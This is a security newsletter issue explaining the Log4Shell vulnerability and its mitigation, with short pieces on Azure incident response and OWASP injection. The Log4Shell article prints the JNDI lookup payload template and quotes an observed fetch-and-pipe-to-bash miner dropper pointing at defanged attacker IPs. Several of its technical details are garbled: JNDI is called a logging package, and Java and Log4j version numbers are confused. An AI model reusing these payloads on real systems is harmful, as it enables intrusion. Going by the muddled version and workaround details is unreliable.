Log4Shell Working and Mitigation

SecPro #31: Log4Shell Working and Mitigation, Incident Response in Azure


Log4Shell Working and Mitigation has been the hot talk of the cybersecurity world this past week. Based on a weakness in the Apache Log4j logging package that then allows the user to communicate and manipulate data on the server-side, vulnerable systems are at risk of everything from unauthorized data access to ransomware attacks. This week, we’re going to look at how Log4Shell set the internet on fire and how you can mitigate the issues it has caused.

In this issue, we’re also joined by Ricoh Danielson, Head of Incident Response Services at a private healthcare company. Ricoh has an impressive track record of working in several InfoSec and Incident Response roles. In today’s issue, Ricoh shares practical instructions to simplify and streamline the Incident Response preparation stage in Azure. Today’s rundown:

      • Log4Shell Working and Mitigation: How it Works, Post-Exploitation, and Mitigation
      • How to Prepare Your Workspace for Incident Response in Azure
      • OWASP A03: Injection
      • Secret Knowledge: Building Your Security Arsenal

Please note that this is the last SecPro issue of 2021! We’ll return with a new issue in the first week of January 2022. Thank you to all of you for giving me a little bit of your time, attention, trust, and thoughts in 2021. It means a lot that you take the time to read, share, and engage with the SecPro. See you in 2022.

Exploit Detection & Analysis

Log4Shell Working and Mitigation: How it Works, Post-Exploitation, and Mitigation

Austin Miller, Kartikey Pandey

Discovered and reported to Apache (report in Mandarin Chinese) by Chen Zhaojun of the Alibaba Cloud Security team, this deserialized bug exploits the strange functionality of the Apache Log4j package. By inserting malicious code via a format string attack into pretty much anywhere that a user can influence data that is sorted on a server.

Because of this, it has been possible to exploit the logging facade package and the LDAP protocol to launch malware remotely. Web applications and offline servers alike have been vulnerable due to vulnerable Java applications. Of course, for some people, this biggest revelation is the ubiquity of Java in the modern age. Needless to say, some developers and security experts have been caught off guard!

How serious is Log4Shell?

Due to public statements like “the internet is on fire” from IT and cybersecurity professionals, the mainstream media has really jumped into the Log4Shell debate with two feet.

As with most cybersecurity hysteria, the fix is actually quite simple for most users. The problem is that this vulnerability has leveraged the Java Naming and Directory Interface (JDNI) to allow a remote attacker to execute arbitrary code, access sensitive data, and move laterally across a network. A full breakdown of all compromised Log4j software has been compiled by the NCNS-NL and is available on Github.

A Critical CVS

The Common Vulnerability Scoring System rating for the Log4j 2 vulnerability is 10.0 and 9.3 for v2, so this is serious business. This CVSS clearly shows that not only does Log4Shell Working and Mitigation mean a difficult update period for cybersecurity professionals, but also that this is readily being exploited by threat actors.

Log4Shell Working and Mitigation: Why does it rank so highly?

There are multiple reasons for Log4Shell’s extremely high CVS. In short, this exploit is extremely easy, launchable from pretty much anywhere, and causes a massive amount of damage in the wrong hands.

  • Ease of use. Because the exploit can be launched with only one line of code, unpatched Java software has become a prime hunting ground for cybercriminals that are lacking in coding skills. Entering jndi:ldap://[host]:[port]/[path] into any user-facing form, chatbox, URL, etc. is the only thing that the adversary has to do in order to launch their malware.
  • Easy to execute. On that note, look at where you can plug in this string – practically anywhere! The attack vector is literally anywhere the user can interact with the system.
  • Potential damage. Because a malicious GET request can lead to any simple HTTP endpoint where a piece of malware is stored, the potential for damage is up to the imagination of the adversary. Ransomware, cryptojacking mining software, botnet software – whatever the attacker wants to upload to the system.

Altogether, these factors have turned Log4Shell into one of the most worrisome vulnerabilities that security professionals have seen in a long-time. All thanks to a simple formatting string attack.

Log4Shell Working and Mitigation: How is the adversary using Log4Shell?

Bitdefender user agent string example

This formatting string attack is so easy that pretty much anyone who understands even the most basic of Java could cause serious damage to an outstanding number of servers running Java-enabled software. Because of that, we have threat actors launching various kinds of exploits at software still running with Java version 14 or earlier.

In particular, we have seen:

  • Installation of Cobalt Strike for credential theft or lateral movement
  • Data exfiltration
  • Installations of Muhstik Botnet which, in turn, installed cryptocurrency miners on infected systems

Where was Log4Shell Discovered?

The time between Microsoft addressing a bug that allowed Minecraft players to wrestle control of strangers’ accounts and the internet realizing that this was the most serious bug that we have seen in years was very small. Because of that, not only was the bug discovered, but also a myriad of exploits that have already weaponized this vulnerability.


Although an unlikely stomping ground for cybersecurity news, the Minecraft community has been exploiting this vulnerability for some time. By pasting the malicious string into the in-world chatbox, players have been able to gain unauthorized access to accounts.

This led to Microsoft releasing a patch on 11th December, initially intended simply to stop the exploit activity in Minecraft. The same blog post explaining the fix stated that no known exploit attempts had been made against Microsoft’s enterprise tools.

The Khonsari Ransomware

Just like most security professionals predicted, the Log4Shell vulnerability has given ransomware criminals an easy way to infiltrate and lock up systems that are running outdated versions of Java. What we might not have expected, though, is that this seems to be a new family of ransomware attacks.

Identified in a blogpost by cybersecurity firm Bitdefender and confirmed by Microsoft’s own security team, the Khonsari ransomware quickly encrypts the following folders:

  • C:\Users\<user>\Documents
  • C:\Users\<user>\Videos
  • C:\Users\<user>\Pictures
  • C:\Users\<user>\Downloads
  • C:\Users\<user>\Desktop

All encrypted files are locked up with AES 128 and carry the .khonsari extension, rendering them inaccessible. The following ransomware note has also been found in the payload of the initial infection (source: Bitdefender):

Your files have been encrypted and stolen by the Khonsari family. If you wish to decrypt, call (***) ***-1309 or email kar***[email protected] you do not know how to buy btc, use a search engine to find exchanges. DO NOT MODIFY OR DELETE THIS FILE OR ANY ENCRYPTED FILES. IF YOU DO, YOUR FILES MAY BE UNRECOVERABLE.

Not great. The Khonsari ransomware cybercriminals are also targeting Linux users, executing the following string to exploit the weakened Log4j package. You can detect incoming Khonsari attacks by finding the following malicious string that links the exploitable servers to the payload: hxxp://3.145.115[.]94/Main.class

XMRIG crypto-miner
Unsurprisingly, gaining remote access to powerful servers around the world has been enticing for cryptojackers. Bitdefender found that the most common crypto-miner malware attack contains the XMRIG payload.

Directly calling on the XMRIG Github page, the miner is downloaded to the server and starts to mine for a variety of cryptos. Using the format string attack, the attacker executes code that automatically installs code to the remote server. The executed code looks like this:

cmd /C “(curl -s hxxp://158.247.218[.]44:8000/wsnbb.sh||wget -q -O- hxxp://154.247.218[.]44:8000/wsnbb.sh) | bash

This installs wsnbb.sh, which is the crypto-miner. As of the middle of December, this has been the most common type of malicious attack that unpatched systems have faced.

How does Log4Shell Work?

The Log4Shell exploit is very simple, actually. Because the threat actor simply needs to enter the exploit code anywhere that a user can interact with the server, this vulnerability is extremely exploitable.

Making the GET Request

In order to start up the exploit, the adversary submits the following code into any text-based input that communicates with the back-end: ${ jndi:ldap://[host]:[port]/[path]}

There are three points of interest here:

  • JNDI is the Java Naming and Directory Interface, a logging package that has somehow allowed the adversary to execute remote code.
  • LDAP refers to the application protocol (Lightweight Directory Access Protocol), linking the threat actor to the back-end server. LDAP has not been the only exploitable protocol, with LDAP accounting for 50.7% of attacks, DNS for 47.8%, RMI for 0.9%, and LDAPS for 0.6%.
  • The [host]:[port]/[path] section refers to where the payload is stored. When interpreted by Log4j.

When the string is submitted to a chatbox, form, or URL bar, the faulty Log4j 2 package logs the string and potentially allows full control over the server to the malicious agent. The adversary’s malicious payload will begin to make contact with the vulnerable web server.

Using JNDI

The main culprit, in this case, is the unusual behavior of the JDNI logger. The package is designed to allow a programmer to look up objects via various means, but it has accidentally allowed threat actors to gain control of said objects and (by extension) servers through a simple exploit. Urgent patches and workarounds have been released by the Java team, Microsoft, and other big names in the industry. Closing off the weakness here is key to avoiding further exploitation of your data by the adversary!

The Exploit

The JNDI interprets the input from the adversary as a variable that has not been resolved. Because of that, the logger expands the request made.

The expansion allows the malicious string including the malicious link to make contact with the server via LDAP, NDS, RMI, or LDAPS (all of these methods have been observed so far – as the adversary continues to obfuscate its attack, this list may expand). Now that the server has made contact with the malicious user’s server, they can wrestle control of the entire system.

Post-Exploitation Behaviour

Although the initial exploit isn’t difficult to perform, Log4Shell received a CVSS 10.0 rating for a reason. By creating a simple string to enter into the static logger log, a user could gain control over an entire system within minutes.

Remote code execution is painfully simple at this point and security researchers such as Microsoft have noticed that threat actors have been able to execute arbitrary code for:

  • Crypto-jacking attacks
  • Cobalt Strike for credential theft or lateral movement
  • Data exfiltration from compromised servers
  • Suspected ransomware attacks

Thankfully, most exploitation of this vulnerability so far has come from scanning to finding vulnerable systems.

Mitigating the Risk

Due to the severity of the exploits that have run thanks to the weakness in the Log4j vulnerability, mitigating the risk has become the hot topic of the cybersecurity world this past week.

Depending on the version of Java that your organization uses, you may find that you need to use some workarounds. Java versions 2.0 to 2.14 are vulnerable and need to be addressed before the adversary causes you even more issues.

Updating to Apache Log4j 2.16

As always, the best method to stop vulnerabilities from being exploited is to update all software that is running with an outdated version of Log4j 2. This will protect vulnerable servers from maliciously uploaded remote code and stop the adversary from running crypto-jacking tools or other nefarious malware on your systems.

Will Log4j 2.15 do?

If you heard about this story early on, you probably started to update your software to cover for CVE-2021-44228. The problem is that the Log4j Java software update package did not shut down all routes for threat actors attempting to remotely execute code.

Only five days after the patch for CVE-2021-44228 was rolled out, a further update for the Log4Shell vulnerability was released to close off additional potential vulnerabilities before they could be openly exploited by threat actors.

When that’s not possible…

If your organization relies on a vulnerable version of Java to work properly, there is also a workaround for Log4j 2.10-14.

All versions from .10 to .14 supported the parameter log4j2.formatMsgNoLookups automatically set to TRUE. By turning off all Log4j 2 log message parameters that deal with this functionality, you can stop the adversary from executing malicious arbitrary code.

Log4Shell: Worth the Worry?

Although it is easily executable and launchable from practically anywhere, the Log4Shell vulnerability will soon pass into the annals of cybersecurity history. Untreated, it is a serious security risk. When either of the easily implemented fixes is put in place, the internet will go back to being distinctly not on fire.

For security professionals, this December is the month of scanning, discovering, and treating faulty Log4j 2 packages in proprietary, open-source, and commercial software. If you’re interested in finding out more about the malware that was used by the adversary when exploiting the software, check out these articles:

Tutorial / Incident Response

How to Prepare Your Workspace for Incident Response in Azure

By Ricoh Danielson

TL;DR: While preparing the workspace environment in Azure, setting up an incident response can be daunting. Incident Responders should always be provided with the flexibility to respond to any given task at any given time. We show how you can simplify and streamline the preparation stage.

Conducting incident response usually comes with its own challenges. That too running cloud incident response like the one in Azure can be at your wit’s end!

We’ve placed this module on a separate web page. Click the button below to access the complete module. In this tutorial, we discuss the following key phases and security elements that contribute to being prepared in Azure:

  1. Preparing the workspace for logging, activity monitoring, alerting
    • Virtual Network (VN) and Networks Security Group (NSG) alerts
    • Firewall and network configurations
  2. Defining the scope of the workspace
    • Golden images and standardization
  3. Enhancing the visibility and capability
    • SIEM visibility
  4. Developmental improvement
    • Advisor recommendation

Click here to read the complete article!


OWASP A03: Injection

By Austin Miller

Learning to launch an injection attack was a top priority for me as soon as I saw the story of Little Bobby Tables in this XKCD comic years ago.

Now ranking at #3 in the OWASP Top 10 list of vulnerabilities, code injection is still as serious as it was all those years ago. But how are organizations managing code injection attacks and how can we harden our systems against parents who name their children after SQL commands threat actors looking for exploitable databases?

Telltale Signs of Injection Vulnerabilities

Injection attacks come in many forms, but OWASP has identified three telltale signs for understanding code injection vulnerabilities in your software. These factors are true for all injection-prone interpreters, including SQL, OS, NoSQL, and LDAP.

Unvalidated, Unfiltered, Unsanitized, Unsafe

No validation, filtering, or sanitization of user-supplied data is a surefire way to invite injection attacks. Database managers should ensure that all user input data should conform to a safe standard, namely by segregating commands from data.

Contextless Dynamic Queries and Non-Parameterized Calls

Queries should be coded with parameters instead of using input data on its own to build a command. Failing to do this allows malicious users to build commands on the user-side.

Hostile Data and ORM

Object-relational mapping (ORM) can be exploited with malicious data to extract sensitive records from the server. Because SQL databases are not object-oriented, attackers can exploit the mapping if poorly configured.

How Do I Defend Against Injection Attacks?

OWASP recognizes that defending almost all interpreters is the best way to stop injection attacks, but there are a number of steps that database managers and programmers can take to set up the backend to avoid common issues.

  • Use an API to stop direct contact with the interpreter; end-users only interact with a parameterized interface or have to interact with ORM Tools.
  • Positive server-side input validation is your friend; this includes banning special characters which would launch user-supplied structures as well as using intrusion detection systems to spot suspicious behavior.
  • Implement LIMIT or similar clauses in commands to avoid leaky databases; your SQL controls should only supply limited amounts of information in order to stop SQL injectors even when they are successful.

Remember – validate the input, use APIs where possible, hide the interpreter and ORMs, and implement effective defenses to stop widespread leakage where there is an issue.

Secret Knowledge: Building Your Security Arsenal

Discover useful security resources, cheatsheets, hacks, and open-source CLI/web tools.

New & Trending

  • csp_security_mistakes – A list of security mistakes made by Cloud Service Providers (AWS, GCP, Azure). Includes CVEs, SOC 2 Type 2 failures, security researchers compromising managed services, and more.
  • starboard-exporter – A standalone exporter for vulnerability reports and other CRs created by Starboard.
  • sloop – Sloop monitors Kubernetes, recording histories of events and resource state changes, and providing visualizations to aid in debugging past events.


  • mkchain – an open-source tool to help you build a valid SSL certificate chain.
  • spiped – is a utility for creating symmetrically encrypted and authenticated pipes between socket addresses.
  • sslyze – fast and powerful SSL/TLS server scanning library.

The SecPro is a weekly security newsletter to help you stay sharp and upgrade your skills with trending threat insights, practical tutorials, hands-on labs, and useful resources. Build skills in as little as 10 minutes.

Stay up to date with the latest threats

Our newsletter is packed with analysis of trending threats and attacks, practical tutorials, hands-on labs, and actionable content. No spam. No jibber jabber.